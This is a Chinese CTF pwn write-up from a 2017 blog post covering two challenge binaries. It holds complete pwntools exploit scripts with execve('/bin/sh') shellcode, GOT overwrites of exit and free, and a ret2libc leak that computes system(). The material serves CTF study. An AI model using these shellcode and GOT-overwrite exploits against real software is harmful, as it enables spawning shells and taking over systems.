Pwn——First Blood

0x01   got

01  func函数:

 

 

fgets():

char *fgets(char *buf, int bufsize, FILE *stream);

参数:

*buf: 字符型指针,指向用来存储所得数据的地址。

bufsize: 整型数据,指明存储数据的大小。

*stream: 文件结构体指针,将要读取的文件流。(stdin:标准输入,指键盘输入)

02  栈空间分析:

 

 

 

 

 

03  检保护机制

 

 

NX没开可以使用shellcode

 

寻找shellcode执行点

 

 

跟具函数的限制input:\n后的缓冲区大小为0x21

s的缓冲区大小为0x28

因此不能实现缓冲区溢出

正常溢出思路:

[shellcode][“AAAAAAAAAAAAAA”….][ret] ^------------------------------------------------|

04  漏洞:

如果scanf没加&的话,程序会默认从栈中读取4个字节的数据当做scanf取的地址

 

05  exp

from pwn import *

import ctypes

context(log_level="debug")

p = process("./got")

#p = remote('128.199.220.74', 10002)

shellcode =  ''

shellcode +=  "\x31\xc0"  

shellcode +=  "\x50"  

shellcode +=  "\x68\x6e\x2f\x73\x68"  

shellcode +=  "\x68\x2f\x2f\x62\x69"  

shellcode +=  "\x89\xe3"  

shellcode +=   "\x50"  

shellcode +=   "\x53"  

shellcode +=   "\x89\xe1"  

shellcode +=   "\xb0\x0b"  

shellcode +=   "\xcd\x80";

 

exit_addr = 0x0804A018

p.recvuntil("Your buffer locate at ")

shellcode_addr = int(p.recv(10),16)

payload1 = shellcode+'\x00'+p32(0xCAFEBABE)+ p32(exit_addr)

p.recvuntil("input:\n")

p.sendline(payload1)

p.recvuntil("\n")

p.sendline(str(ctypes.c_int(shellcode_addr).value))              #scanf()以%d十进制读取,地址转换为十进制,%d的取值范围为0--0x7fffffff
p.interactive()

 

 

 

 

 

 

0x02  got2

01  主函数:

02  栈空间:

 

 

03  保护机制:

 

04  key:

scanf覆盖got+ret2lib

05  exp

from pwn import *
import ctypes
context(log_level
= 'debug') p = process('./got2') elf = ELF('./libc.so.6.got2')
p.recvuntil(
'name?\n') p.sendline('/bin/sh\0')                             #got表覆盖的函数为free()此处传入参数s给system()---》system(/bin/sh) p.recvuntil('input again\n') p.sendline('/bin/sh\0') free_got = 0x0804a014                              #通过IDA获得改值 p.recvuntil('far.\n')                         #调试发现传入参数的顺序并不按照IDA F5后的顺序 p.sendline(str(int(free_got)))                          #%d要求传入参数为int p.recvuntil('0x') free_addr = int(p.recv(8),16)                          #获取free()真实地址 print 'free = '+hex(free_addr) system_addr = free_addr - elf.symbols['free'] + elf.symbols['system'] #通过ret2lib原理获取system()地址 print 'system = '+hex(system_addr) p.sendline(str(ctypes.c_int(system_addr).value))               #将地址的值转换为int C语言下的%d的范围是从0x7FFFFFFF p.interactive()

 

posted @ 2017-08-06 22:29  1ey  阅读(145)  评论(0)    收藏  举报